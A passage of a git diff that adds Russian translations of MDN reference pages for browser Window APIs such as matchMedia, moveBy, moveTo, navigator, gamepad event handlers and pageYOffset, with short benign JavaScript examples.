+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.Window.location")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>Интерфейс возвращающий значение, {{domxref("Location")}}.</li>
+ <li>Подобная информация, но привязанная к контексту браузера, {{domxref("Document.location")}}</li>
+ <li><a href="/en/DOM/Manipulating_the_browser_history" title="en/DOM/Manipulating the browser history">Манипулирование историей браузера</a></li>
+ <li><a href="/en-US/docs/DOM/Mozilla_event_reference/hashchange" title="/en-US/docs/DOM/Mozilla_event_reference/hashchange">hashchange</a></li>
+</ul>
diff --git a/files/ru/web/api/window/matchmedia/index.html b/files/ru/web/api/window/matchmedia/index.html
new file mode 100644
index 0000000000..21a386eaa8
--- /dev/null
+++ b/files/ru/web/api/window/matchmedia/index.html
@@ -0,0 +1,53 @@
+---
+title: Window.matchMedia()
+slug: Web/API/Window/matchMedia
+translation_of: Web/API/Window/matchMedia
+---
+<div>{{APIRef}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Возвращает новый объект {{domxref("MediaQueryList")}} содержащий результат обработки переданной <a href="/en-US/docs/CSS/Media_queries" title="CSS/Media queries">media query</a> строки.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>mql</em> = window.matchMedia(<em>mediaQueryString</em>)</pre>
+
+<p>где <code>mediaQueryString</code> является строкой медиа запроса, для которой будет возвращён новый объект {{domxref("MediaQueryList")}}.</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: js">if (window.matchMedia("(min-width: 400px)").matches) {
+  /* the viewport is at least 400 pixels wide */
+} else {
+  /* the viewport is less than 400 pixels wide */
+}</pre>
+
+<p>Данный код позволяет обрабатывать поведение по другому, когда размер окна очень узкий.</p>
+
+<p>Смотрите <a href="/en-US/docs/DOM/Using_media_queries_from_code" title="CSS/Using media queries from code">Использование медиа-запросов из кода</a> для дополнительных примеров.</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Поддержка браузерами</h2>
+
+<p> </p>
+
+<p>{{Compat("api.Window.matchMedia")}}</p>
+
+<p> </p>
+
+<div id="compat-mobile"> </div>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<ul>
+ <li><a class="external" href="http://dev.w3.org/csswg/cssom-view/#the-mediaquerylist-interface">The CSSOM View Module: The MediaQueryList Interface</a></li>
+</ul>
+
+<h2 id="See_also" name="See_also">Смотрите так же</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Media_queries" title="CSS/Media queries">Media queries</a></li>
+ <li><a href="/en-US/docs/DOM/Using_media_queries_from_code" title="CSS/Using media queries from code">Using media queries from code</a></li>
+ <li>{{domxref("MediaQueryList")}}</li>
+ <li>{{domxref("MediaQueryListListener")}}</li>
+</ul>
diff --git a/files/ru/web/api/window/moveby/index.html b/files/ru/web/api/window/moveby/index.html
new file mode 100644
index 0000000000..6744e2a2e0
--- /dev/null
+++ b/files/ru/web/api/window/moveby/index.html
@@ -0,0 +1,70 @@
+---
+title: Window.moveBy()
+slug: Web/API/Window/moveBy
+translation_of: Web/API/Window/moveBy
+---
+<div>{{APIRef}}</div>
+
+<div>Метод <code><strong>moveBy()</strong></code> интерфейса <a href="https://developer.mozilla.org/ru/docs/Web/API/Window" title="Объект window представляет собой окно, содержащее DOM документ; свойство document указывает на DOM document, загруженный в данном окне."><code>Window</code></a> перемещает текущее окно на указанное количество.</div>
+
+<div class="blockIndicator note">
+<p><strong>Примечание:</strong> Эта функция перемещает окно относительно текущего положения. В свою очередь, {{domxref("window.moveTo()")}} перемещает к абсолютному значению.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">window.moveBy(<em>deltaX</em>, <em>deltaY</em>)
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<ul>
+ <li><code>deltaX</code> количество пикселей, на которое будет перемещено окно по горизонтали. Положительное значение перемещает вправо, а отрицательное перемещает влево.</li>
+ <li><code>deltaY</code> количество пикселей, на которое будет перемещено окно по вертикали. Положительное значение перемещает вниз, а отрицательное перемещает вверх.</li>
+</ul>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Этот пример перемещает окно на 10 пикселей вправо и на 10 пикселей вверх.</p>
+
+<pre class="brush:js">function budge() {
+  moveBy(10, -10);
+}</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSSOM View', '#dom-window-moveby', 'window.moveBy()') }}</td>
+   <td>{{ Spec2('CSSOM View') }}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.Window.moveBy")}}</p>
+
+<p>Начиная с Firefox 7 сайты не могут перемещать окно <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=565541#c24" rel="noopener">в следующих случаях</a>:</p>
+
+<ol>
+ <li>Вы не можете переместить окно или вкладку, которое было создано не с помощью{{domxref("Window.open()")}}.</li>
+ <li>Вы не можете переместить окно или вкладку, когда окно имеет более одной вкладки.</li>
+</ol>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("Window.moveTo()")}}</li>
+</ul>
diff --git a/files/ru/web/api/window/moveto/index.html b/files/ru/web/api/window/moveto/index.html
new file mode 100644
index 0000000000..dd3bcf219c
--- /dev/null
+++ b/files/ru/web/api/window/moveto/index.html
@@ -0,0 +1,73 @@
+---
+title: Window.moveTo()
+slug: Web/API/Window/moveTo
+translation_of: Web/API/Window/moveTo
+---
+<div>{{APIRef}}</div>
+
+<div>Метод  <code><strong>moveTo()</strong></code> интерфейса {{domxref("Window")}} перемещает текущее окно в указанные координаты.</div>
+
+<div class="blockIndicator note">
+<p><strong>Примечание:</strong> Эта функция перемещает окно к абсолютному положению. В свою очередь, {{domxref("window.moveBy()")}} перемещает окно относительно текущего положения.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">window.moveTo(<var>x</var>, <var>y</var>)
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<ul>
+ <li><code>x</code> горизонтальная координата, в которую будет произведено перемещение.</li>
+ <li><code>y</code> вертикальная координата, в которую будет произведено перемещение.</li>
+</ul>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Этот пример перемещает окно в левый верхний угол экрана.</p>
+
+<pre class="brush:js">function origin() {
+  window.moveTo(0, 0);
+}</pre>
+
+<ol>
+</ol>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSSOM View', '#dom-window-moveto', 'window.moveTo()') }}</td>
+   <td>{{ Spec2('CSSOM View') }}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.Window.moveTo")}}</p>
+
+<p>Начиная с Firefox 7 сайты не могут перемещать окно <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=565541#c24">в следующих случаях</a>:</p>
+
+<ol>
+ <li>Вы не можете переместить окно или вкладку, которое было создано не с помощью {{domxref("Window.open()")}}.</li>
+ <li>Вы не можете переместить окно или вкладку, когда окно имеет более одной вкладки.</li>
+</ol>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("Window.moveBy()")}}</li>
+</ul>
diff --git a/files/ru/web/api/window/mozanimationstarttime/index.html b/files/ru/web/api/window/mozanimationstarttime/index.html
new file mode 100644
index 0000000000..372a07f62e
--- /dev/null
+++ b/files/ru/web/api/window/mozanimationstarttime/index.html
@@ -0,0 +1,46 @@
+---
+title: Window.mozAnimationStartTime
+slug: Web/API/Window/mozAnimationStartTime
+tags:
+  - >-
+    API  HTML DOM  NeedsExample  NeedsMarkupWork NeedsSpecTable  Property 
+    Reference  Window
+translation_of: Web/API/Window/mozAnimationStartTime
+---
+<p>{{ APIRef() }}</p>
+
+<p>{{ gecko_minversion_header("2.0") }}{{ non-standard_header() }}</p>
+
+<h3 id="Summary" name="Summary">Summary</h3>
+
+<p>Возвращает время в миллисекундах с начала эпохи UNIX, начиная с которого анимации, начавшиеся в определенный момент, должны быть сочтены уже начавшимися. Это значение должно быть использовано вместо, например, <code><a href="/en/JavaScript/Reference/Global_Objects/Date/now" title="en/JavaScript/Reference/Global Objects/Date/now">Date.now()</a></code>, потому что оно будет тем же самым для анимаций, начавшихся в этом окне в течение этого интервала, позволяя им синхронизироваться между собой.</p>
+
+<p>Это также позволяет анимациям JavaScript оставаться синхронизированными с CSS переходами и SMIL анимациями, запущенными в течение того же интервала обновления.</p>
+
+<h3 id="Syntax" name="Syntax">Syntax</h3>
+
+<pre class="eval"><em>time</em> = window.mozAnimationStartTime;
+</pre>
+
+<h3 id="Parameters" name="Parameters">Parameters</h3>
+
+<ul>
+ <li><em><code>time</code></em> это время в миллисекундах с начала эпохи UNIX, начиная с которого анимации для текущего окна принимаются уже начавшимися.</li>
+</ul>
+
+<h3 id="Specification" name="Specification">Specification</h3>
+
+<p>Not part of specification.</p>
+
+<h3 id="Browser_compatibility">Browser compatibility</h3>
+
+
+
+<p>{{Compat("api.Window.mozAnimationStartTime")}}</p>
+
+<h3 id="See_also">See also</h3>
+
+<ul>
+ <li>{{ domxref("window.mozRequestAnimationFrame()") }}</li>
+ <li>{{ domxref("window.onmozbeforepaint") }}</li>
+</ul>
diff --git a/files/ru/web/api/window/name/index.html b/files/ru/web/api/window/name/index.html
new file mode 100644
index 0000000000..aac0fc4f6b
--- /dev/null
+++ b/files/ru/web/api/window/name/index.html
@@ -0,0 +1,29 @@
+---
+title: Window.name
+slug: Web/API/Window/name
+translation_of: Web/API/Window/name
+---
+<div>{{APIRef}}</div>
+
+<h2 id="Summary" name="Summary">Описание</h2>
+
+<p>Свойство <code>name</code> может использоваться для установки и получения имени текущего окна. Оно становится доступным после его создания.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="brush: js"><var>// получение значения
+string</var> = window.name;
+// установка значения
+window.name = <var>string</var>;
+</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">window.name = "lab_view";
+</pre>
+
+<h2 id="Notes" name="Notes">Замечания</h2>
+
+<p>Имя окна используется, в основном, для задания свойства <code>target</code> гиперссылок и форм.</p>
+
+<p>Также оно может использоваться в фреймворках для предоставления кросс-доменного обмена сообщениями (например, <a href="http://www.thomasfrank.se/sessionvars.html">SessionVars</a> и <a href="http://www.sitepen.com/blog/2008/07/22/windowname-transport/">dojox.io.windowName</a> из Dojo) как более безопасная альтернатива JSONP.</p>
diff --git a/files/ru/web/api/window/navigator/index.html b/files/ru/web/api/window/navigator/index.html
new file mode 100644
index 0000000000..6a3ba2fcc7
--- /dev/null
+++ b/files/ru/web/api/window/navigator/index.html
@@ -0,0 +1,90 @@
+---
+title: Window.navigator
+slug: Web/API/Window/navigator
+tags:
+  - API
+  - HTML DOM
+  - Navigator
+  - Window
+translation_of: Web/API/Window/navigator
+---
+<div>{{APIRef}}</div>
+
+<p><code>Window.navigator</code> является свойством только для чтения и возвращает ссылку на объект {{domxref("Navigator")}}, который может запросить информацию о приложении, запустившем скрипт.</p>
+
+<h2 id="Example" name="Example">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>navigatorObject<code> = window.navigator</code></em></pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Пример_1_Распознаётся_браузер_и_возвращается_строкой">Пример #1: Распознаётся браузер и возвращается строкой</h3>
+
+<pre class="brush: js">var sBrowser, sUsrAg = navigator.userAgent;
+
+//The order matters here, and this may report false positives for unlisted browsers.
+
+if (sUsrAg.indexOf("Firefox") &gt; -1) {
+     sBrowser = "Mozilla Firefox";
+     //"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0"
+} else if (sUsrAg.indexOf("Opera") &gt; -1) {
+     sBrowser = "Opera";
+} else if (sUsrAg.indexOf("Trident") &gt; -1) {
+     sBrowser = "Microsoft Internet Explorer";
+     //"Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Zoom 3.6.0; wbx 1.0.0; rv:11.0) like Gecko"
+} else if (sUsrAg.indexOf("Edge") &gt; -1) {
+     sBrowser = "Microsoft Edge";
+     //"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299"
+} else if (sUsrAg.indexOf("Chrome") &gt; -1) {
+    sBrowser = "Google Chrome or Chromium";
+    //"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/66.0.3359.181 Chrome/66.0.3359.181 Safari/537.36"
+} else if (sUsrAg.indexOf("Safari") &gt; -1) {
+    sBrowser = "Apple Safari";
+    //"Mozilla/5.0 (iPhone; CPU iPhone OS 11_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 980x1306"
+} else {
+    sBrowser = "unknown";
+}
+
+alert("You are using: " + sBrowser);
+</pre>
+
+<h3 id="Пример_2_Распознаётся_браузер_и_возвращается_его_индекс">Пример #2: Распознаётся браузер и возвращается его индекс</h3>
+
+<pre class="brush: js">function getBrowserId () {
+
+    var
+        aKeys = ["MSIE", "Firefox", "Safari", "Chrome", "Opera"],
+        sUsrAg = navigator.userAgent, nIdx = aKeys.length - 1;
+
+    for (nIdx; nIdx &gt; -1 &amp;&amp; sUsrAg.indexOf(aKeys[nIdx]) === -1; nIdx--);
+
+    return nIdx
+
+}
+
+console.log(getBrowserId());</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-navigator', 'Window: navigator')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимые_браузеры">Совместимые браузеры</h2>
+
+
+
+<p>{{Compat("api.Window.navigator")}}</p>
diff --git a/files/ru/web/api/window/ondeviceorientation/index.html b/files/ru/web/api/window/ondeviceorientation/index.html
new file mode 100644
index 0000000000..c9bde836d9
--- /dev/null
+++ b/files/ru/web/api/window/ondeviceorientation/index.html
@@ -0,0 +1,53 @@
+---
+title: Window.ondeviceorientation
+slug: Web/API/Window/ondeviceorientation
+tags:
+  - API
+  - Мобильные устройства
+  - Ориентация
+  - Ориентация устройства
+  - Свойства
+translation_of: Web/API/Window/ondeviceorientation
+---
+<p>{{ ApiRef() }}</p>
+
+<h2 id="Summary" name="Summary">Кратко</h2>
+
+<p>Обработчик события {{event('deviceorientation')}}, который содержит информацию об изменении относительной ориентации устройства.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">window.ondeviceorientation = function(event) { ... };
+window.addEventListener('deviceorientation', function(event) { ... });
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Device Orientation')}}</td>
+   <td>{{Spec2('Device Orientation')}}</td>
+   <td>Начальная спецификация.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ page("/en-US/docs/Web/API/DeviceOrientationEvent","Browser_compatibility") }}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{ event("deviceorientation") }}</li>
+ <li>{{ domxref("DeviceOrientationEvent") }}</li>
+ <li><a href="/en/Detecting_device_orientation" title="Detecting device orientation">Определение ориентации устройства</a> </li>
+</ul>
diff --git a/files/ru/web/api/window/ongamepadconnected/index.html b/files/ru/web/api/window/ongamepadconnected/index.html
new file mode 100644
index 0000000000..683e6d2af8
--- /dev/null
+++ b/files/ru/web/api/window/ongamepadconnected/index.html
@@ -0,0 +1,52 @@
+---
+title: Window.ongamepadconnected
+slug: Web/API/Window/ongamepadconnected
+translation_of: Web/API/Window/ongamepadconnected
+---
+<div>{{DefaultAPISidebar("Gamepad API")}}{{SeeCompatTable}}</div>
+
+<p>Свойство <strong><code>ongamepadconnected</code></strong> интерфейса {{domxref("Window")}} представляет собой обработчик, который будет запущен при подключении геймпада (когда событие  {{event('gamepadconnected')}} запустится).</p>
+
+<p>Тип объекта события - {{domxref("GamepadEvent")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">window.ongamepadconnected = function() { ... };
+</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush:js; line-numbers  language-js notranslate"><code class="language-js">window<span class="punctuation token">.</span><span class="punctuation token">on</span><span class="string token">gamepadconnected =</span> <span class="keyword token">function</span><span class="punctuation token">(</span>event<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="comment token">// All buttons and axes values can be accessed through</span>
+  event<span class="punctuation token">.</span>gamepad<span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Gamepad', '#event-gamepadconnected', 'gamepadconnected event')}}</td>
+   <td>{{Spec2('Gamepad')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Window.ongamepadconnected")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li><a class="external text" href="https://hacks.mozilla.org/2013/12/the-gamepad-api/" rel="nofollow">The Gamepad API</a> by Ted Mielczarek and Robert Nyman</li>
+ <li><a href="http://luser.github.io/gamepadtest/">Simple API demo page</a> (<a href="https://github.com/luser/gamepadtest">source</a>)</li>
+</ul>
diff --git a/files/ru/web/api/window/ongamepaddisconnected/index.html b/files/ru/web/api/window/ongamepaddisconnected/index.html
new file mode 100644
index 0000000000..c8ca962cb4
--- /dev/null
+++ b/files/ru/web/api/window/ongamepaddisconnected/index.html
@@ -0,0 +1,51 @@
+---
+title: Window.ongamepaddisconnected
+slug: Web/API/Window/ongamepaddisconnected
+translation_of: Web/API/Window/ongamepaddisconnected
+---
+<div>{{DefaultAPISidebar("Gamepad API")}}{{SeeCompatTable}}</div>
+
+<p>Свойство <strong><code>ongamepaddisconnected</code></strong> интерфейса {{domxref("Window")}} представляет собой обработчик события, который будет вызван при отключении геймпада (когда сработает событие {{event('gamepaddisconnected')}}).</p>
+
+<p>Тип объекта события {{domxref("GamepadEvent")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">window.ongamepaddisconnected = function() { ... };
+</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush:js; line-numbers  language-js notranslate"><code class="language-js">window<span class="punctuation token">.</span><span class="punctuation token">on</span><span class="string token">gamepaddisconnected =</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="comment token">// A gamepad has been disconnected</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Gamepad', '#event-gamepaddisconnected', 'gamepaddisconnected event')}}</td>
+   <td>{{Spec2('Gamepad')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+
+
+<p>{{Compat("api.Window.ongamepaddisconnected")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li><a class="external text" href="https://hacks.mozilla.org/2013/12/the-gamepad-api/" rel="nofollow">The Gamepad API</a> by Ted Mielczarek and Robert Nyman</li>
+ <li><a href="http://luser.github.io/gamepadtest/">Simple API demo page</a> (<a href="https://github.com/luser/gamepadtest">source</a>)</li>
+</ul>
diff --git a/files/ru/web/api/window/onpaint/index.html b/files/ru/web/api/window/onpaint/index.html
new file mode 100644
index 0000000000..efa6d5761e
--- /dev/null
+++ b/files/ru/web/api/window/onpaint/index.html
@@ -0,0 +1,31 @@
+---
+title: Window.onpaint
+slug: Web/API/Window/onpaint
+translation_of: Web/API/Window/onpaint
+---
+<p>{{ ApiRef() }}</p>
+
+<p id="comment_text_2">{{Non-standard_header}}</p>
+
+<h2 id="Summary" name="Summary">Обзор</h2>
+
+<p>Обработчик события paint для объекта window. На текущий момент не работает в приложениях основанных на движке <strong><a href="en/Gecko">Gecko</a>. См. секцию Замечания</strong><strong>!</strong></p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval">window.onpaint =<em>funcRef</em>;
+</pre>
+
+<ul>
+ <li><code>funcRef</code> - функция, обработчик события.</li>
+</ul>
+
+<h2 id="Notes" name="Notes">Замечания</h2>
+
+<p><code>Событие onpaint</code> на текущий момен не реализовано, и дата её реализации неизвестна, см. {{ Bug(239074) }}.</p>
+
+<p>Событие paint срабатывает в момент рендеринга window. Данное событие срабатывает после события window - load, и срабатывает каждый раз когда сраница перерисовывается. что бывает когда другое окно перекрывает текущее - а потом исчезает.</p>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<p id="comment_text_2">Не является частью какой-либо спецификации.</p>
diff --git a/files/ru/web/api/window/pageyoffset/index.html b/files/ru/web/api/window/pageyoffset/index.html
new file mode 100644
index 0000000000..edac7ff6d3
--- /dev/null
+++ b/files/ru/web/api/window/pageyoffset/index.html
@@ -0,0 +1,166 @@
+---
+title: Window.pageYOffset
+slug: Web/API/Window/pageYOffset
+tags:
+  - прокрутка
+  - скролл
+translation_of: Web/API/Window/pageYOffset
+---
+<div>{{ APIRef("CSSOM View") }} </div>
+
+<p><strong><code>pageYOffset</code></strong> - свойство окна {{domxref("Window")}} , доступное только для чтения. Это то же свойство, что и {{domxref("Window.scrollY", "scrollY")}} и, как таковое, оно тоже возвращает количество пикселей, на которое прокручен документ по вертикали (вниз или вверх). Значение свойства равное 0.0 говорит о том, что в данный момент верхний край документа {{domxref("Document")}} совпадает с верхним краем области содержимого окна.</p>
+
+
+
+<div></div>
+
+<p>Есть незначительная разница в поддержке <code>pageYOffset</code> и <code>scrollY</code>, первый поддерживается лучше в старых браузерах, но если не затрагивать очень старые версии, то использовать можно любое свойство. Они идентичны.</p>
+
+<p>Соответствующее свойство {{domxref("Window.pageXOffset", "pageXOffset")}}, которое возвращает количество пикселей, на которое документ прокручен по горизонтали, это то же самое, что и {{domxref("Window.scrollX", "scrollX")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>yOffset</em> = window.pageYOffset;
+</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>Количество пикселей, на которое документ {{domxref("Document")}} прокручен вертикально в рамках окна {{domxref("Window")}}, выражено числом с плавающей запятой. Оно рассчитывается с субпиксельной точностью и, таким образом, не обязательно будет целым числом. Значение равное 0.0 означает, что вертикальная прокрутка еще не была совершена, и верхний край документа сейчас соответствует верхнему краю области содержимого окна.</p>
+
+<p>Т.к. данное свойство соответствует {{domxref("Window.scrollY")}}, обратитесь к его описанию за более детальной информацией о значении и использовании.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<div class="hidden">
+<pre class="brush: js">var contentHTML = `
+    &lt;h2 id="introduction"&gt;Introduction&lt;/h2&gt;
+  &lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipiscing
+elit. Aenean volutpat vitae felis non dictum. Ut auctor
+eros tortor, vel elementum arcu rhoncus nec. Donec non
+laoreet massa. Donec pretium nisi et condimentum convallis.
+Nullam dictum molestie finibus. Nullam vitae lorem non
+augue mattis cursus.&lt;/p&gt;
+  &lt;p&gt;Maecenas nec tortor tincidunt, sollicitudin mi eget,
+fermentum turpis. Vestibulum ac ante et libero efficitur
+faucibus id eget ex. Pellentesque tempor pharetra
+tincidunt. Suspendisse potenti. Nulla vulputate nunc sit
+amet hendrerit faucibus. Nullam metus dui, venenatis
+lacinia nunc nec, vestibulum viverra nunc. Quisque interdum
+quam tortor, sit amet varius neque consectetur at. Quisque
+vel turpis justo.&lt;/p&gt;
+  &lt;h2 id="overview"&gt;Overview&lt;/h2&gt;
+  &lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipiscing
+elit. Etiam dui dolor, pulvinar sed diam id, eleifend
+dapibus odio. Duis vitae ante nibh. Integer bibendum
+imperdiet suscipit. Fusce ligula leo, consectetur ac ante
+eget, gravida laoreet purus. Cras sodales efficitur risus,
+sed feugiat sem. Pellentesque justo augue, placerat non leo
+sit amet, laoreet fringilla arcu.&lt;/p&gt;
+  &lt;p&gt;Class aptent taciti sociosqu ad litora torquent per
+conubia nostra, per inceptos himenaeos. Proin in gravida
+libero. Vivamus placerat, lacus eget condimentum sagittis,
+enim nunc bibendum nisi, quis varius erat felis sit amet
+risus.&lt;/p&gt;
+&lt;p&gt;Sed non finibus ligula. Fusce a magna auctor, molestie
+nibh eget, sodales felis. Donec imperdiet facilisis mi ut
+aliquam. Etiam sodales suscipit urna, eget hendrerit neque
+elementum a. Vivamus fringilla sodales est ut ultricies.
+Nulla convallis congue maximus. Nullam consectetur felis
+vitae ultricies accumsan. Mauris at aliquam felis. Mauris
+efficitur tellus massa, id ullamcorper ipsum fermentum eu.
+Aenean mollis dignissim ultrices. Nunc gravida, sem sit
+amet lobortis iaculis, dolor ligula convallis nibh, id
+condimentum metus libero nec odio. Quisque nec ante
+pretium, viverra neque nec, facilisis risus. Duis
+condimentum sapien non felis cursus blandit. Integer
+euismod lectus a ipsum pellentesque lacinia.&lt;/p&gt;
+`;
+
+document.getElementById("frame").contentDocument
+        .body.innerHTML = contentHTML;
+</pre>
+</div>
+
+<p>В данном примере создается элемент {{HTMLElement("iframe")}}, и задается его содержимое, затем определенный элемент этого документа прокручивается в область рамки. Как только это произошло, выясняется положение вертикальной прокрутки с помощью значения <code>pageYOffset</code>  у элемента {{domxref("HTMLIFrameElement.contentWindow", "contentWindow")}} в рамке.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<p>HTML предельно прост и состоит из двух элементов: {{HTMLElement("iframe")}}, содержащий документ, который мы будем прокручивать, и {{HTMLElement("div")}}, в который мы выведем значение свойства <code>pageYOffset</code> по окончании прокрутки.</p>
+
+<pre class="brush: html">&lt;iframe id="frame"&gt;
+&lt;/iframe&gt;
+
+&lt;div id="info"&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">var frame = document.getElementById("frame");
+var frameDoc = frame.contentDocument;
+var info = document.getElementById("info");
+
+var target = frameDoc.getElementById("overview");
+frameDoc.scrollingElement.scrollTop = target.offsetTop;
+
+info.innerText = "Y offset after scrolling: " +
+                 frame.contentWindow.pageYOffset + " pixels";</pre>
+
+<p>Код JavaScript начинается с записи в переменные <code>frame</code> and <code>info</code> элементов <code>&lt;iframe&gt;</code>, содержащего наш документ, и элемента <code>&lt;div&gt;</code> , в который мы запишем результат проверки положения прокрутки. Затем мы получаем ссылку на элемент из нашего документа, который сразу должен быть прокручен до видимой области рамки, с помощью команды {{domxref("Document.getElementById", "getElementById()")}} у {{domxref("HTMLIFrameElement.contentDocument")}} рамки.</p>
+
+<p>Имея целевой элемент, мы устанавлиеваем {{domxref("Element.scrollTop", "scrollTop")}} {{domxref("Document.scrollingElement", "scrollingElement")}} рамки от свойства {{domxref("Element.offsetTop", "offsetTop")}} целевого элемента. Тем самым мы настраиваем положение вертикальной прокрутки документа рамки таким образом, чтобы оно было таким же как и у верхнего края целевого элемента.</p>
+
+<p>При этом автоматически установится максимально возможное значение у позиции прокрутки при попытке прокрутить дальше конца документа. Это предотвратит выход за границы документа. Никто не хочет знать, что там. Там могут быть драконы. </p>
+
+<div class="hidden">
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">iframe {
+  width: 620px;
+  height: 450px;
+  border: 1px solid black;
+}
+
+#info {
+  margin-top: 20px;
+  font: 16px "Open Sans", "Helvetica", "Arial";
+}</pre>
+</div>
+
+<h3 id="Результат">Результат</h3>
+
+<p>Результат ниже. Обратите внимание на то, что содержимое документа уже прокручено до секции, под названием "Overview", а свойство<code>pageYOffset</code> имеет соответствующее значение.</p>
+
+<p>{{EmbedLiveSample("Пример", 650, 500)}}</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
